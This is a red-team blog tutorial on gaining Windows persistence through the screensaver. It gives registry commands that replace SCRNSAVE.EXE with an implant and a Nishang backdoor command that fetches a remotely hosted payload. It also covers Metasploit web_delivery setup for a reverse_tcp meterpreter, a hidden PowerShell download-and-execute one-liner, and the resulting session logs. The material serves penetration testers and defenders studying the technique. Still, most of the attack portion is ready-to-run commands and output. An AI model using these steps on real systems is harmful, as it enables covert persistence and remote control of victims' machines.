

Persistence – Screensaver

pentestlab.blog/category/red-team/page/59

October 9, 2019

Screensavers are part of Windows functionality and enable users to put a screen message or a graphic animation after a period of inactivity. This feature of Windows it is known to be abused by threat actors as a method of persistence. This is because screensavers are executable files that have the .scr file extension and are executed via the scrnsave.scr utility.

Screensaver settings are stored in the registry and the values that are considered most valuable from an offensive perspective are:

```
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE  
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive  
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure  
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
```

Computer\HKEY_CURRENT_USER\Control Panel\Desktop				
Computer	Name	Type	Data	
Computer	FontSmoothingType	REG_DWORD	0x00000002 (2)	
	ForegroundFlashCount	REG_DWORD	0x00000007 (7)	
	ForegroundLockTime...	REG_DWORD	0x00030d40 (200000)	
	ImageColor	REG_DWORD	0xafe29e44 (2950864452)	
	LastUpdated	REG_DWORD	0x00000000 (0)	
	LeftOverlapChars	REG_SZ	3	
	LockScreenAutoLock...	REG_SZ	0	
	MaxMonitorDimension	REG_DWORD	0x00000ab0 (2736)	
	MaxVirtualDesktopDi...	REG_DWORD	0x00000ab0 (2736)	
	MenuShowDelay	REG_SZ	400	
	MouseWheelRouting	REG_DWORD	0x00000002 (2)	
	PaintDesktopVersion	REG_DWORD	0x00000000 (0)	
	Pattern	REG_DWORD	0x00000000 (0)	
	PreferredUILanguages	REG_MULTI_SZ	en-GB	
	RightOverlapChars	REG_SZ	3	
	ScreenSaveActive	REG_SZ	1	
	ScreenSaverIsSecure	REG_SZ	0	
	ScreenSaveTimeOut	REG_SZ	60	
	SCRNSAVE.EXE	REG_SZ	C:\WINDOWS\system32\Bubbles.scr	

Screensaver – Registry Keys

Registry keys can be modified or added via the command prompt or from a PowerShell console. Since the .scr files are essentially executables both extensions can be used to the file that will act as the implant.

```
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe  
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr  
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value  
'c:\tmp\pentestlab.exe'  
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value  
'c:\tmp\pentestlab.scr'
```

```

C:\Users\panag>reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
Value SCRNSAVE.EXE exists, overwrite(Yes/No)? Yes
The operation completed successfully.

C:\Users\panag>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\panag> New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'

SCRNSAVE.EXE : c:\tmp\pentestlab.exe
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Control Panel\Desktop\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Control Panel
PSChildName  : Desktop
PSDrive      : HKCU
PSProvider   : Microsoft.PowerShell.Core\Registry

```

Screensaver – Add Registry Key – CMD & PowerShell

Once the period of inactivity is passed the arbitrary payload will be executed and a communication will be established again.

```

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.254.145:4444
[*] Sending stage (206403 bytes) to 192.168.254.1
[*] Meterpreter session 1 opened (192.168.254.145:4444 -> 192.168.254.1:61696) at 2019-10-07 20:56:14 -0400

meterpreter >

```

Screensaver – Meterpreter

Nishang framework contains a PowerShell script which can also perform this attack but it requires administrative level privilege compared to the method above since it is using a registry key in the local machine to store the PowerShell command that will execute a remotely hosted payload. The benefit from this technique is that it doesn't touch the disk.

```

Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7a0emwFJO

```

```

PS C:\tmp> Set-ExecutionPolicy Bypass 2
PS C:\tmp> Import-Module .\Add-ScrnSaveBackdoor.ps1
PS C:\tmp> Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

SCRNSAVE.EXE : C:\Windows\System32\Ribbons.scr
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Control Panel\Desktop\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Control Panel
PSChildName  : Desktop
PSDrive      : HKCU
PSProvider   : Microsoft.PowerShell.Core\Registry

Property     : {}
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
              NT\CurrentVersion\Image File Execution Options\Ribbons.scr
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
              NT\CurrentVersion\Image File Execution Options
PSChildName  : Ribbons.scr
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount  : 0
View         : Default
Handle       : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount   : 0
Name         : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
              Options\Ribbons.scr

Payload added as Debugger for Ribbons.scr

```

Nishang – Screensaver Backdoor

Metasploit web delivery module can be used to generate and host the PowerShell payload in this scenario. Once the user session becomes idle the screensaver will execute the PowerShell payload and a meterpreter session will open.

```

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit

```

```

msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.254.145:4444
[*] Using URL: http://0.0.0.0:8080/eqj9ix
[*] Local IP: http://192.168.254.145:8080/eqj9ix
[*] Server started.
msf5 exploit(multi/script/web_delivery) > [*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring('http://192.168.254.145:8080/eqj9ix');
[*] 192.168.254.1 web_delivery - Delivering Payload (2125) bytes
[*] Sending stage (206403 bytes) to 192.168.254.1
[*] Meterpreter session 3 opened (192.168.254.145:4444 -> 192.168.254.1:56514) at 2019-10-08 10:29:52 -0400

```

Meterpreter – Screensaver

The issue with the persistence technique that utilize screensavers is that the session will drop when the user returns back and the system is not in idle mode. However red teams can perform their operations during the absence of the user. If screensavers are disabled by group policy this technique cannot be used for persistence.

References
